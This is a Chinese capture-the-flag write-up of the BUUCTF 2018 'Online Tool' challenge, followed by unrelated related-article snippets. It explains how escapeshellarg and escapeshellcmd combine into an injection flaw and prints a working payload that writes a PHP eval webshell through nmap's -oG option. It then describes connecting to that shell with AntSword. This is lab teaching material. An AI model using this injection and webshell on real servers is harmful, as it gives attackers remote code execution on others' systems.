当前位置: 首页 > news >正文

web:[BUUCTF 2018]Online Tool

题目

打开页面显示如下,进行代码审计

上述代码主要功能是接收‘host’参数,后使用nmap扫描主机端口

首先检查是否存在HTTP_X_FORWARDED_FOR头,若存在,将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址

后用检查get‘host’是否设置,如果没有就会用highlight_file(FILE)函数,高亮显示代码

若设置了,host的值会被存储到变量$host中,然后将escapeshellarg函数会对其进行转义处理,以防止注入攻击。然后,生成一个基于远程ip地址的md5散列值,将其作为沙箱目录的名称,并切换到这个目录下:

$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);  
echo 'you are in sandbox '.$sandbox;  
@mkdir($sandbox);  
chdir($sandbox);

代码首先使用远程IP地址($_SERVER['REMOTE_ADDR'])和一个固定字符串("glzjin")生成一个MD5散列值,并将其存储在变量$sandbox中。接着,它输出一个包含这个散列值的消息("you are in sandbox"),然后创建(mkdir)一个以这个散列值为名称的目录,并切换(chdir)到这个新创建的目录下。

注意,这段代码使用了@mkdirchdir函数,并且在mkdir函数中使用了错误抑制运算符(@),这意味着如果在尝试创建目录时遇到错误,错误信息会被抑制,不会在页面上显示出来

最后,nmap命令扫描指定主机。

经过上述代码审计可以发现,最后一句echo system的语句就是可以进行恶意攻击的点,system执行一条nmap命令在后面拼接上$host的内容,而$host是变量可控的,可以想到使用&&执行多条命令,但是代码中存在对host的过滤:escapeshellarg和escapeshellcmd两个函数

经过escapeshellcmd函数的处理后大部分命令都会被转义,但是当escapeshellagr()和escapeshellcmd()函数共同使用时就会产生逻辑漏洞

(这里参考大佬的本地测试进行理解[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客)

可以利用这点进行恶意语句插入,但&&、||等逻辑符号都会被转义,只能使用nmap命令“-oG”进行写文件

构造payload

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

 

写入文件成功,接下来访问写入的文件,由代码审计可得,文件再$sandbox目录下

http://0b956188-ef3b-4720-9677-f6fe215a57f4.node4.buuoj.cn:81/6b17d6cfb6c6a0721adf2f0de6dac5bc/hack.php

然后使用蚁剑连接

 得到flag

参考文章链接:

[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客

相关文章:

web:[BUUCTF 2018]Online Tool

题目 打开页面显示如下&#xff0c;进行代码审计 上述代码主要功能是接收‘host’参数&#xff0c;后使用nmap扫描主机端口 首先检查是否存在HTTP_X_FORWARDED_FOR头&#xff0c;若存在&#xff0c;将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址 后用检查get‘host’是否…...

决策树的Boosting策略是什么

在决策树的Boosting策略中&#xff0c;最常见的算法是梯度提升决策树&#xff08;Gradient Boosting Decision Trees&#xff0c;简称GBDT&#xff09;。GBDT是一种集成学习方法&#xff0c;通过串行训练多个决策树&#xff0c;并根据前一个树的预测结果来调整下一个树的训练目…...

SQL Server中substring的用法

SQL Server中substring的用法 SQL中的substring函数是用来截取一个栏位资料中的其中一部分。 例如&#xff0c;我们需要将字符串’abdcsef’中的‘abd’给提取出来&#xff0c;则可用substring 来实现&#xff1a; select substring(abdcsef,1,3)结果为 abd括号中数字’1’表…...

vscode设置latex

vscode配置latex 1.安装vscode,并添加环境变量路径 2.安装latex,bin文件夹添加到环境变量路径 3.vscode安装插件 4.vscode->文件->首选项->显示配置内容->setting.json文件&#xff0c;查看其位置目录&#xff0c;通过我的电脑找到此文件&#xff08;不要使用v…...

Django模板层

模板之变量 所有的数据类型都可以在模板中使用 render(request, index.html, context{}) render(request, index.html, contextlocals()) """在模板中使用变量的时候&#xff0c;用的是字典的key值&#xff0c;key值value值一般保持一致"""详细…...

TP_Link WR886N 硬改闪存16M内存64M,刷入openwrt

一、换内存&#xff0c;拆闪存&#xff1a; 1、先原机开机试试是否功能正常&#xff1b; 2、拆机&#xff0c;比较难拆&#xff0c;容易坏外壳&#xff1b; 3、找到内存和闪存&#xff0c;用胶带把边上的小元件&#xff0c;电阻都贴好&#xff1b; 4、加助焊油&#xff0c;用风…...

websocket详解

一、什么是Websocket WebSocket 是一种在单个 TCP 连接上进行 全双工 通信的协议&#xff0c;它可以让客户端和服务器之间进行实时的双向通信。 WebSocket 使用一个长连接&#xff0c;在客户端和服务器之间保持持久的连接&#xff0c;从而可以实时地发送和接收数据。 在 Web…...

可以免费使用的设计素材网站分享

UI设计师最怕什么&#xff1f; 没有创意&#xff0c;没有灵感&#xff0c;没有思路&#xff01; 在哪里可以得到idea&#xff1f;别担心&#xff0c;往下看&#xff01; 你知道网络有多大&#xff0c;你想要什么吗&#xff1f;今天&#xff0c;我想和大家分享一些宝藏网页设…...

workman使用手册1.0

workman官网地址&#xff1a;高性能PHP应用容器 workerman 1&#xff1a;把workman项目放到linux服务器后&#xff0c;需要启动你的php文件&#xff0c;才可以使用 定位到项目根目录&#xff1a;例&#xff1a;cd /mnt/workman 启动代码&#xff1a;php outin.php start -d 停…...

Cesium深入浅出之自定义材质

引子 做为一名技术宅却没有能拿得出手的技术无疑是最可悲的事情。三年前&#xff0c;当我第一次接触Cesium的时候就被它强大和炫丽所折服&#xff0c;最关键的是它还是开源的。以前我一直是机械地敲着业务代码&#xff0c;好像计算机程序就只能干这点事情一样&#xff0c;而 C…...

Appium移动自动化测试--安装Appium

Appium 自动化测试是很早之前就想学习和研究的技术了&#xff0c;可是一直抽不出一块完整的时间来做这件事儿。现在终于有了。 反观各种互联网的招聘移动测试成了主流&#xff0c;如果再不去学习移动自动化测试技术将会被淘汰。 web自动化测试的路线是这样的&#xff1a;编程语…...

前端学习笔记--ES6

修正 ES6是ECMA为JavaScript制定的第6个标准版本&#xff0c;相关历史可查看此章节《ES6-ECMAScript6简介》。 标准委员会最终决定&#xff0c;标准在每年6月正式发布并作为当年的正式版本&#xff0c;接下来的时间里就在此版本的基础上进行改动&#xff0c;直到下一年6月草案…...

冥想第九百七十八天

1.周四&#xff0c;今天客户又发飙了&#xff0c;这次的锅我有点不好受。因为压力很大&#xff0c;所以日语课就不去上了。自己做了题。 2.今天中午跑了步&#xff0c;心率还是有点高了&#xff0c;估计跟穿得最后得薄款羽绒服有关。经过昨天晚上的休息&#xff0c;感觉身体好多…...

Maven分离资源文件

Spring Boot 项目默认的会将所有资源文件、依赖文件、配置文件等打包成单一的 jar 文件&#xff0c;但是有时候我们并不想让配置文件、依赖包都跟可执行文件打包到一起。 这时候可以在 pom.xml 文件中进行配置&#xff0c;从而使资源文件、依赖包和可执行文件分离。 本文主要…...

Linux CentOS 8(MariaDB概述)

Linux CentOS 8&#xff08;MariaDB概述&#xff09; 目录 一、项目描述二、相关知识2.1 数据库的基本介绍2.2 数据库的分类介绍 三、项目分析3.1 安装并启动 MariaDB3.2 登录 MariaDB 数据库3.3 提高 MariaDB 安装安全性 一、项目描述 Jan16 公司为满足部门之间数据共享、减少…...

简述几个我们对Redis 7开源社区所做的贡献

Redis 7 已经于2022年4月28号正式发布&#xff0c;其中包括了将近50个新的命令&#xff0c;增加了许多新的特性&#xff0c;并且在整个Redis 6到Redis 7的开发过程中&#xff0c;我也对Redis 的开源社区贡献了一些微薄的力量。在这篇文章中&#xff0c;我来给大家介绍几个自己亲…...

产品卖点怎么写,如何打造卖点?

...

跟李沐学AI-深度学习课程00-03【预告、课程安排、深度学习介绍、安装】

目录 00 预告 01 课程安排 02 深度学习介绍 03 安装 本地安装 04 数据操作数据预处理 数据操作 数据类型 创建数组 访问元素 数据操作实现 入门 运算符 广播机制 索引和切片 节省内存 转换为其他Python对象 数据预处理实现 读取数据集 处理缺失值 转换为张…...

C++ this 指针 面试

this 指针 this 指针是一个隐含于每一个非静态成员函数中的特殊指针。它指向调用该成员函数的那个对象。 当对一个对象调用成员函数时&#xff0c;编译程序先将对象的地址赋给 this 指针&#xff0c;然后调用成员函数&#xff0c;每次成员函数存取数据成员时&#xff0c;都隐…...

虚拟机上安装docker,并安装flink镜像

1. 安装docker 官网步骤&#xff1a;https://docs.docker.com/engine/install/centos/ sudo yum install -y yum-utils sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo yum install docker-ce docker-ce-cli containerd.…...

如何快速配置TranslucentTB:Windows任务栏美化终极教程

如何快速配置TranslucentTB&#xff1a;Windows任务栏美化终极教程 【免费下载链接】TranslucentTB A lightweight utility that makes the Windows taskbar translucent/transparent. 项目地址: https://gitcode.com/gh_mirrors/tr/TranslucentTB 想要让Windows任务栏变…...

GB28181视频监控平台EasyCVR助力景区数字化转型,打造一体化视频监控解决方案

随着文旅行业数字化转型进程持续加速&#xff0c;旅游景区的安全管理、服务优化与运营效率提升已成为行业发展的核心诉求。景区场景普遍具有面积广阔、人员流动性强等特点&#xff0c;传统监控方案存在设备兼容性差、可视化管控能力不足等诸多短板&#xff0c;难以满足当前景区…...

李慕婉-仙逆-造相Z-Turbo AI核心原理科普:如何用Transformer理解并生成人类语言

李慕婉-仙逆-造相Z-Turbo AI核心原理科普&#xff1a;如何用Transformer理解并生成人类语言 你有没有想过&#xff0c;当你和“李慕婉-仙逆-造相Z-Turbo”这样的AI模型对话时&#xff0c;它到底是怎么“听懂”你的话&#xff0c;又“想”出那些回答的&#xff1f;它不像我们人…...

3步掌握B站视频下载:解锁大会员4K高清内容

3步掌握B站视频下载&#xff1a;解锁大会员4K高清内容 【免费下载链接】bilibili-downloader B站视频下载&#xff0c;支持下载大会员清晰度4K&#xff0c;持续更新中 项目地址: https://gitcode.com/gh_mirrors/bil/bilibili-downloader Bilibili-downloader是你获取B站…...

Go语言中的Panic和Recover:错误处理的艺术

Go语言中的Panic和Recover&#xff1a;错误处理的艺术 1. Panic和Recover的基本概念 Panic和Recover是Go语言中用于处理异常情况的机制。Panic用于在程序遇到无法恢复的错误时终止程序&#xff0c;而Recover用于捕获Panic并恢复程序的正常执行。 Go语言的错误处理哲学是显式处理…...

Agent上线后有专人运营支持吗?深度解析AI Agent的全生命周期运维保障体系

随着AI Agent&#xff08;智能体&#xff09;在企业业务场景中的深度渗透&#xff0c;从简单的流程自动化到复杂的跨境贸易、研发辅助&#xff0c;企业对“数字员工”的期待已不再局限于单次的开发交付&#xff0c;而是转向了长期的稳定运行与持续进化。对于许多决策者而言&…...

终极网盘下载加速方案:3分钟解锁八大平台极速下载

终极网盘下载加速方案&#xff1a;3分钟解锁八大平台极速下载 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘…...

Phi-4-mini-reasoning作品集:自动将推理过程转化为教学级讲解语言

Phi-4-mini-reasoning作品集&#xff1a;自动将推理过程转化为教学级讲解语言 1. 模型简介 Phi-4-mini-reasoning是一个轻量级的开源文本生成模型&#xff0c;专注于将复杂推理过程转化为清晰易懂的教学语言。作为Phi-4模型家族的一员&#xff0c;它特别擅长处理需要逐步解释…...

从混乱到清晰:用QJsonObject重构你的Qt网络API数据解析层(避坑指南)

从混乱到清晰&#xff1a;用QJsonObject重构你的Qt网络API数据解析层&#xff08;避坑指南&#xff09; 在Qt开发中&#xff0c;与后端RESTful API交互是常见需求&#xff0c;但面对复杂、嵌套的JSON响应数据时&#xff0c;很多开发者容易陷入"面条代码"的泥潭。本文…...

Unpaywall终极指南:一键解锁全球学术论文的免费获取方案

Unpaywall终极指南&#xff1a;一键解锁全球学术论文的免费获取方案 【免费下载链接】unpaywall-extension Firefox/Chrome extension that gives you a link to a free PDF when you view scholarly articles 项目地址: https://gitcode.com/gh_mirrors/un/unpaywall-extens…...